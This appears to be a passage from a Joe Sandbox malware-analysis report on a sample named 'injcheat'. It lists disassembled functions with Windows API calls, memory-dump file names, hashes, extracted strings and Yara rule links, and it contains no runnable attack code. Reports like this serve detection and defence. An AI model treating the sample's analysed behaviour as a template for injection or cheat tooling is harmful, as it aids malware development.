String ID:
API String ID: 3736152602-0
Opcode ID: 93657912ac794fced38d421d962f92883126e8198091445d9854f4f8ee19624b
Instruction ID: 23b932bc2c29a5dfc18fe21c4a2eb2f8c5ece52f28d9e5f655982a654f25d6c1
Opcode Fuzzy Hash: 93657912ac794fced38d421d962f92883126e8198091445d9854f4f8ee19624b
Instruction Fuzzy Hash: CFF0A976640136ABDF285A249D06ABE7758FB50754F15042DED06E3180EA74FD81C6D1

Function 0082C16B Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00824C11: GetLastError.KERNEL32(?,00000008,008291E0), ref: 00824C15
Part of subcall function 00824C11: SetLastError.KERNEL32(00000000,0083B480,00000024,00820179), ref: 00824CB7

EnumSystemLocalesW.KERNEL32(0082C449,00000001,?,?,-00000050,?,0082C7EB,-00000050,?,?,?,00000055,?,-00000050,?,?), ref: 0082C1B5

Memory Dump Source

Source File: 00000001.00000002.1542895323.0000000000811000.00000020.00000001.01000000.00000003.sdmp, Offset: 00810000, based on PE: true

Associated: 00000001.00000002.1542878623.0000000000810000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542917007.0000000000832000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542932624.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542964283.0000000000894000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542977669.0000000000895000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542990729.0000000000897000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_810000_injcheat.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 99ce6d2cc8e4c98123e1c4254b68114bbff04dba85878054182519f838087914
Instruction ID: 731a03d825f6eb7c6d165f6909cbc4a46733e1d0115083ff9fe978087b2f9999
Opcode Fuzzy Hash: 99ce6d2cc8e4c98123e1c4254b68114bbff04dba85878054182519f838087914
Instruction Fuzzy Hash: 04F0C2362003146FDB245F39AC92A7A7B95FB84368F15442DF9068B681D6B19C81D610

Function 00825ADF Relevance: 1.5, APIs: 1, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0081DB21: EnterCriticalSection.KERNEL32(?,?,008248E9,?,0083B2E0,00000008,00824AAD,?,0081C1A6,?), ref: 0081DB30

EnumSystemLocalesW.KERNEL32(00825AD2,00000001,0083B3A0,0000000C,00825E85,00000000), ref: 00825B17

Memory Dump Source

Source File: 00000001.00000002.1542895323.0000000000811000.00000020.00000001.01000000.00000003.sdmp, Offset: 00810000, based on PE: true

Associated: 00000001.00000002.1542878623.0000000000810000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542917007.0000000000832000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542932624.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542964283.0000000000894000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542977669.0000000000895000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542990729.0000000000897000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_810000_injcheat.jbxd

Yara matches

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: 069c2e395dcef4ba6c4b82cffa58f45f68b6c28ea5e59b65961adfe594ccf6ec
Instruction ID: 7f7735d6c08ec18051eb827f802058aba2fd6cb4b9073b2d7777d580f46f2aeb
Opcode Fuzzy Hash: 069c2e395dcef4ba6c4b82cffa58f45f68b6c28ea5e59b65961adfe594ccf6ec
Instruction Fuzzy Hash: C4F03776A40214DFD704EF98E886B9977B0FB44720F20462AE411EB3A0DB795980CF41

Function 0082C085 Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00824C11: GetLastError.KERNEL32(?,00000008,008291E0), ref: 00824C15
Part of subcall function 00824C11: SetLastError.KERNEL32(00000000,0083B480,00000024,00820179), ref: 00824CB7

EnumSystemLocalesW.KERNEL32(0082BFDE,00000001,?,?,?,0082C849,-00000050,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 0082C0BC

Memory Dump Source

Source File: 00000001.00000002.1542895323.0000000000811000.00000020.00000001.01000000.00000003.sdmp, Offset: 00810000, based on PE: true

Associated: 00000001.00000002.1542878623.0000000000810000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542917007.0000000000832000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542932624.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542964283.0000000000894000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542977669.0000000000895000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542990729.0000000000897000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_810000_injcheat.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 84dac2d3085ee37f3ce732f6692275f6fa096a0c2bad3c11a3df04834b2c9e23
Instruction ID: 70204d61dd52bac84b97ec9f3f4cfdb731f72f3aa9d8a89da94c777a8106d872
Opcode Fuzzy Hash: 84dac2d3085ee37f3ce732f6692275f6fa096a0c2bad3c11a3df04834b2c9e23
Instruction Fuzzy Hash: 40F0A03630021597CB149B39E85566A7B94FBC1720B064058EA09CB650D6759982C750

Function 00825F89 Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,00000000,?,-00000050,?,?,?,0082210E,?,20001004,00000000,00000002,?,?,00821710), ref: 00825FBD

Memory Dump Source

Source File: 00000001.00000002.1542895323.0000000000811000.00000020.00000001.01000000.00000003.sdmp, Offset: 00810000, based on PE: true

Associated: 00000001.00000002.1542878623.0000000000810000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542917007.0000000000832000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542932624.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542964283.0000000000894000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542977669.0000000000895000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542990729.0000000000897000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_810000_injcheat.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 64c654d0ad882c38bdb82277061d5a3ccb33822dedd912468d2f390cdde400b5
Instruction ID: 8f80569039d459c978bb9a38e89e1e2ab1bffb5f6767269bd3bf4560db7c45b7
Opcode Fuzzy Hash: 64c654d0ad882c38bdb82277061d5a3ccb33822dedd912468d2f390cdde400b5
Instruction Fuzzy Hash: 4CE01A32541638BBCF162F60ED05E9E7E16FF44761F008411FD05A61618B31DD60AAA5

Function 0083D27A Relevance: 1.5, Strings: 1, Instructions: 273COMMON

Download Yara Rule

Strings

@, xrefs: 0083D796

Memory Dump Source

Source File: 00000001.00000002.1542932624.000000000083C000.00000004.00000001.01000000.00000003.sdmp, Offset: 00810000, based on PE: true

Associated: 00000001.00000002.1542878623.0000000000810000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542895323.0000000000811000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542917007.0000000000832000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542964283.0000000000894000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542977669.0000000000895000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542990729.0000000000897000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_810000_injcheat.jbxd

Yara matches

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 33c5a5b9aaa3ad7d40147cb7931ce02fe19695e2396a5ce853ba19e0c001f1db
Instruction ID: cab6952565861f633a2ef6b06ad780e329272f1678d0278a71366657a5c62f24
Opcode Fuzzy Hash: 33c5a5b9aaa3ad7d40147cb7931ce02fe19695e2396a5ce853ba19e0c001f1db
Instruction Fuzzy Hash: B3A17871A087918FC718CF19C49436ABBE1BFD9318F188A6DE4D997391D774D908CB82

Function 00846730 Relevance: 1.5, Strings: 1, Instructions: 271COMMON

Download Yara Rule

Strings

,, xrefs: 008468A3

Memory Dump Source

Source File: 00000001.00000002.1542932624.000000000083C000.00000004.00000001.01000000.00000003.sdmp, Offset: 00810000, based on PE: true

Associated: 00000001.00000002.1542878623.0000000000810000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542895323.0000000000811000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542917007.0000000000832000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542964283.0000000000894000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542977669.0000000000895000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542990729.0000000000897000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_810000_injcheat.jbxd

Yara matches

Similarity

API ID:
String ID: ,
API String ID: 0-3772416878
Opcode ID: 6a3fef2072c4110c7e08f213014c8aa891b97c95317c3c670d38149bab24221c
Instruction ID: ae754bc603d0eaa8b1c91fb1d916caab31a425e047887c5b2a005015d9c6046a
Opcode Fuzzy Hash: 6a3fef2072c4110c7e08f213014c8aa891b97c95317c3c670d38149bab24221c
Instruction Fuzzy Hash: F0B118711087859FD325CF28C88061BBBE0AFAA704F448A2DF5D997782D671E918CB97

Function 0081780F Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0000781B,00816B1C), ref: 00817814

Memory Dump Source

Source File: 00000001.00000002.1542895323.0000000000811000.00000020.00000001.01000000.00000003.sdmp, Offset: 00810000, based on PE: true

Associated: 00000001.00000002.1542878623.0000000000810000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542917007.0000000000832000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542932624.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542964283.0000000000894000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542977669.0000000000895000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542990729.0000000000897000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_810000_injcheat.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: cad61a852168569da678a338cfdb82e2916ee7da61f4d391bc218a4e8c462263
Instruction ID: f9d0eb9dc63f9e273461a499bb28fa64d526934dc6499359532d6993abdf63ef
Opcode Fuzzy Hash: cad61a852168569da678a338cfdb82e2916ee7da61f4d391bc218a4e8c462263
Instruction Fuzzy Hash:

Function 00880920 Relevance: 1.5, Strings: 1, Instructions: 220COMMON

Download Yara Rule

Strings

%*+(, xrefs: 00880B13, 00880B1B

Memory Dump Source

Source File: 00000001.00000002.1542932624.000000000083C000.00000004.00000001.01000000.00000003.sdmp, Offset: 00810000, based on PE: true

Associated: 00000001.00000002.1542878623.0000000000810000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542895323.0000000000811000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542917007.0000000000832000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542964283.0000000000894000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542977669.0000000000895000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542990729.0000000000897000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_810000_injcheat.jbxd

Yara matches

Similarity

API ID:
String ID: %*+(
API String ID: 0-3233224373
Opcode ID: 0caa54ea1a90315641ea19c1d2cce55cd527f95500d153b2503ff0c6c28a3b73
Instruction ID: 16a6c74fc8a8c6cef1c19d17b77d684b9e0b482d0aecaa8322da493b23676485
Opcode Fuzzy Hash: 0caa54ea1a90315641ea19c1d2cce55cd527f95500d153b2503ff0c6c28a3b73
Instruction Fuzzy Hash: E661CD316083159FE754AE54C880B2ABBE6FB84354F18891CE9D5C72A2D771EC48CF52

Function 0087F800 Relevance: 1.4, Strings: 1, Instructions: 172COMMON

Download Yara Rule

Strings

%*+(, xrefs: 0087F8C3, 0087F8CB

Memory Dump Source

Source File: 00000001.00000002.1542932624.000000000083C000.00000004.00000001.01000000.00000003.sdmp, Offset: 00810000, based on PE: true

Associated: 00000001.00000002.1542878623.0000000000810000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542895323.0000000000811000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542917007.0000000000832000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542964283.0000000000894000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542977669.0000000000895000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542990729.0000000000897000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_810000_injcheat.jbxd

Yara matches

Similarity

API ID:
String ID: %*+(
API String ID: 0-3233224373
Opcode ID: 48588023ea1370a3b3f62b516369bf0138abb56be5ee286ad8c44f99da0f281a
Instruction ID: 85d200fbe5ce19f1d1b7272c33600131ceb87a37c4eefe08510168dc2daf8821
Opcode Fuzzy Hash: 48588023ea1370a3b3f62b516369bf0138abb56be5ee286ad8c44f99da0f281a
Instruction Fuzzy Hash: C0516C34509300ABCB249F1AD990B2ABBE5FB89749F14C83CE6C9D7256D731DC10DB62

Function 00811D65 Relevance: 1.4, Strings: 1, Instructions: 156COMMON

Download Yara Rule

Strings

Z81xbyuAua, xrefs: 00811E87

Memory Dump Source

Source File: 00000001.00000002.1542895323.0000000000811000.00000020.00000001.01000000.00000003.sdmp, Offset: 00810000, based on PE: true

Associated: 00000001.00000002.1542878623.0000000000810000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542917007.0000000000832000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542932624.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542964283.0000000000894000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542977669.0000000000895000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542990729.0000000000897000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_810000_injcheat.jbxd

Yara matches

Similarity

API ID:
String ID: Z81xbyuAua
API String ID: 0-3121583705
Opcode ID: fca83f84dcce9fa1dbc3258e5f9b784799f131f85f1ebb94893715f532c9fa6f
Instruction ID: f3bdf18b888a0b6960e1a956f387e4145aedb14767454f86f8236f824832b374
Opcode Fuzzy Hash: fca83f84dcce9fa1dbc3258e5f9b784799f131f85f1ebb94893715f532c9fa6f
Instruction Fuzzy Hash: EA41FA76E1052B5BDB4CEEB8945A1EFBB69EB45310B04427ADE11DB3D1E2308A418AD0

Function 0084DACE Relevance: 1.4, Strings: 1, Instructions: 128COMMON

Download Yara Rule

Strings

L3, xrefs: 0084DB1E

Memory Dump Source

Source File: 00000001.00000002.1542932624.000000000083C000.00000004.00000001.01000000.00000003.sdmp, Offset: 00810000, based on PE: true

Associated: 00000001.00000002.1542878623.0000000000810000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542895323.0000000000811000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542917007.0000000000832000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542964283.0000000000894000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542977669.0000000000895000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542990729.0000000000897000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_810000_injcheat.jbxd

Yara matches

Similarity

API ID:
String ID: L3
API String ID: 0-2730849248
Opcode ID: bf5552e4f83f3bf5aa9e4b1957c4ed33519c9f7afd665e70c400cb02b69d6293
Instruction ID: 60d9256e7379bcdbda577c302d544f3da32582033126ea885ed75105c8f6c82a
Opcode Fuzzy Hash: bf5552e4f83f3bf5aa9e4b1957c4ed33519c9f7afd665e70c400cb02b69d6293
Instruction Fuzzy Hash: 704131B45083849BC7149F14D894A2BBBF0FF86718F04991CF9C59B2A1E736CA15CB5A

Function 0087BB3E Relevance: 1.4, Strings: 1, Instructions: 127COMMON

Download Yara Rule

Strings

%*+(, xrefs: 0087BB84, 0087BB8D

Memory Dump Source

Source File: 00000001.00000002.1542932624.000000000083C000.00000004.00000001.01000000.00000003.sdmp, Offset: 00810000, based on PE: true

Associated: 00000001.00000002.1542878623.0000000000810000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542895323.0000000000811000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542917007.0000000000832000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542964283.0000000000894000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542977669.0000000000895000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542990729.0000000000897000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_810000_injcheat.jbxd

Yara matches

Similarity

API ID:
String ID: %*+(
API String ID: 0-3233224373
Opcode ID: c9c3511cf99027d5277ab4afa78953f19eeb9f45ac490c8b653ea83e395facf0
Instruction ID: a57383a76f6f6592df61a12a57865170691e64e5128f503a2647b4206277cb3f
Opcode Fuzzy Hash: c9c3511cf99027d5277ab4afa78953f19eeb9f45ac490c8b653ea83e395facf0
Instruction Fuzzy Hash: B64198B0608305ABD725DF54ED84B2ABBE6FB89745F14C82CE589DB256E730DC00CB62

Function 0086482C Relevance: 1.4, Strings: 1, Instructions: 124COMMON

Download Yara Rule

Strings

%*+(, xrefs: 00864863, 0086486B

Memory Dump Source

Source File: 00000001.00000002.1542932624.000000000083C000.00000004.00000001.01000000.00000003.sdmp, Offset: 00810000, based on PE: true

Associated: 00000001.00000002.1542878623.0000000000810000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542895323.0000000000811000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542917007.0000000000832000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542964283.0000000000894000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542977669.0000000000895000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542990729.0000000000897000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_810000_injcheat.jbxd

Yara matches

Similarity

API ID:
String ID: %*+(
API String ID: 0-3233224373
Opcode ID: 452cdd5390474614f0ddbf0a7bb649cabe469c3da803ff3115ae04a2fb717320
Instruction ID: 832f0b24755b842bdff8ec92dff50a10c1c7eaedb134cbe4f579a19d53ff4638
Opcode Fuzzy Hash: 452cdd5390474614f0ddbf0a7bb649cabe469c3da803ff3115ae04a2fb717320
Instruction Fuzzy Hash: C6419D70209301EFD719DF58D990B2EBBE6FB8A746F60691CE1C2D7291D331E8508B5A

Function 0087BE50 Relevance: 1.4, Strings: 1, Instructions: 124COMMON

Download Yara Rule

Strings

%*+(, xrefs: 0087BF13, 0087BF1B

Memory Dump Source

Source File: 00000001.00000002.1542932624.000000000083C000.00000004.00000001.01000000.00000003.sdmp, Offset: 00810000, based on PE: true

Associated: 00000001.00000002.1542878623.0000000000810000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542895323.0000000000811000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542917007.0000000000832000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542964283.0000000000894000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542977669.0000000000895000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542990729.0000000000897000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_810000_injcheat.jbxd

Yara matches

Similarity

API ID:
String ID: %*+(
API String ID: 0-3233224373
Opcode ID: e1a7b55e822f4c4c0b190b196c54346a81db642f877fb84c2c593a9f1511728d
Instruction ID: f901c0ab40c88369016b7e4b6553e66217c930219fb50677b011eba065ded00f
Opcode Fuzzy Hash: e1a7b55e822f4c4c0b190b196c54346a81db642f877fb84c2c593a9f1511728d
Instruction Fuzzy Hash: 3C31D6B5508305ABD610EA18DC81F2BB7EAFF94B48F548828F988D7256E731DC148B63

Function 00852E71 Relevance: 1.4, Strings: 1, Instructions: 108COMMON

Download Yara Rule

Strings

%*+(, xrefs: 00852F1B

Memory Dump Source

Source File: 00000001.00000002.1542932624.000000000083C000.00000004.00000001.01000000.00000003.sdmp, Offset: 00810000, based on PE: true

Associated: 00000001.00000002.1542878623.0000000000810000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542895323.0000000000811000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542917007.0000000000832000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542964283.0000000000894000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542977669.0000000000895000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542990729.0000000000897000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_810000_injcheat.jbxd

Yara matches

Similarity

API ID:
String ID: %*+(
API String ID: 0-3233224373
Opcode ID: 532d68ad360e3601756663246d56755396bef2663983efa083b5df1ddb856f39
Instruction ID: 0d31b65f194469c9dff2c03ca964c3c511fa16ae60e2e56cf977d418136ad05f
Opcode Fuzzy Hash: 532d68ad360e3601756663246d56755396bef2663983efa083b5df1ddb856f39
Instruction Fuzzy Hash: 2D414874200B009FD7348F65D995B27B7F2FB4A702F14895CE9869BAA2EB31F8048B14

Function 0088283B Relevance: 1.4, Strings: 1, Instructions: 100COMMON

Download Yara Rule

Strings

@, xrefs: 008828A5

Memory Dump Source

Source File: 00000001.00000002.1542932624.000000000083C000.00000004.00000001.01000000.00000003.sdmp, Offset: 00810000, based on PE: true

Associated: 00000001.00000002.1542878623.0000000000810000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542895323.0000000000811000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542917007.0000000000832000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542964283.0000000000894000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542977669.0000000000895000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542990729.0000000000897000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_810000_injcheat.jbxd

Yara matches

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: c4c03cbc5544a13e512ffd9534df50902cc064df239456c5298f338a1898222a
Instruction ID: 602c5e9fe6f3d485ecf07e07cd9a75deb0807d36df8974e4340c5536e13edbb2
Opcode Fuzzy Hash: c4c03cbc5544a13e512ffd9534df50902cc064df239456c5298f338a1898222a
Instruction Fuzzy Hash: 1D3167B19183018FD718EF18C8A0A3ABBE5FF89345F04882CE5C6D7262E338D9048B56

Function 00885BC0 Relevance: 1.3, Strings: 1, Instructions: 87COMMON

Download Yara Rule

Strings

@, xrefs: 00885C10

Memory Dump Source

Source File: 00000001.00000002.1542932624.000000000083C000.00000004.00000001.01000000.00000003.sdmp, Offset: 00810000, based on PE: true

Associated: 00000001.00000002.1542878623.0000000000810000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542895323.0000000000811000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542917007.0000000000832000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542964283.0000000000894000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542977669.0000000000895000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542990729.0000000000897000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_810000_injcheat.jbxd

Yara matches

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: f17ffc2d6e27705a654a95a8f2915903712d92e1ab09fb38acfa9e2b53ebfc9f
Instruction ID: 5c238aa0033fa5ae83d989508381cb1fd154363c87d49152104d4c0b103c0321
Opcode Fuzzy Hash: f17ffc2d6e27705a654a95a8f2915903712d92e1ab09fb38acfa9e2b53ebfc9f
Instruction Fuzzy Hash: CB3176709083009BD710EF18D880A2AFBFAFF9A354F14892CE5C897251D335D9048BA6

Function 0085B8A4 Relevance: 1.3, Strings: 1, Instructions: 72COMMON

Download Yara Rule

Strings

%*+(, xrefs: 0085B8F7

Memory Dump Source

Source File: 00000001.00000002.1542932624.000000000083C000.00000004.00000001.01000000.00000003.sdmp, Offset: 00810000, based on PE: true

Associated: 00000001.00000002.1542878623.0000000000810000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542895323.0000000000811000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542917007.0000000000832000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542964283.0000000000894000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542977669.0000000000895000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542990729.0000000000897000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_810000_injcheat.jbxd

Yara matches

Similarity

API ID:
String ID: %*+(
API String ID: 0-3233224373
Opcode ID: 24268017a7ecd41d9c94378706e298c4005a58272b1363c3163575431a6d74e9
Instruction ID: c031d134cec91440506b7a83bde673e81374059cb5d158e76f5dc2ed989bfb2f
Opcode Fuzzy Hash: 24268017a7ecd41d9c94378706e298c4005a58272b1363c3163575431a6d74e9
Instruction Fuzzy Hash: D9218E70548342CFC734CF18D894BBAB7E1FB94342F54082CE499C7652E331A945CB86

Function 008683B7 Relevance: 1.3, Strings: 1, Instructions: 67COMMON

Download Yara Rule

Strings

~/i!, xrefs: 00868417

Memory Dump Source

Source File: 00000001.00000002.1542932624.000000000083C000.00000004.00000001.01000000.00000003.sdmp, Offset: 00810000, based on PE: true

Associated: 00000001.00000002.1542878623.0000000000810000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542895323.0000000000811000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542917007.0000000000832000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542964283.0000000000894000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542977669.0000000000895000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1542990729.0000000000897000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_810000_injcheat.jbxd

Yara matches

Similarity

API ID:
String ID: ~/i!
API String ID: 0-1642318302
Opcode ID: ca5e31d4c722cdb773ff07964b58c5f5501e65a1289eb1d493cab06e26b7a2d7
Instruction ID: d43baf2413a968c30856077c740de24bade3a1516b58232e7058b15d3f000040
Opcode Fuzzy Hash: ca5e31d4c722cdb773ff07964b58c5f5501e65a1289eb1d493cab06e26b7a2d7
Instruction Fuzzy Hash: D541A7B441D3849EE3209F518445B8FFBF1BB91324FA08A0DE6E89A251DB7194098F97

Function 0086A572 Relevance: 1.3, Strings: 1, Instructions: 46COMMON

Download Yara Rule

Strings

72?1, xrefs: 0086A582

Memory Dump Source

Source File: 00000001.00000002.1542932624.000000000083C000.00000004.00000001.01000000.00000003.sdmp, Offset: 00810000, based on PE: true

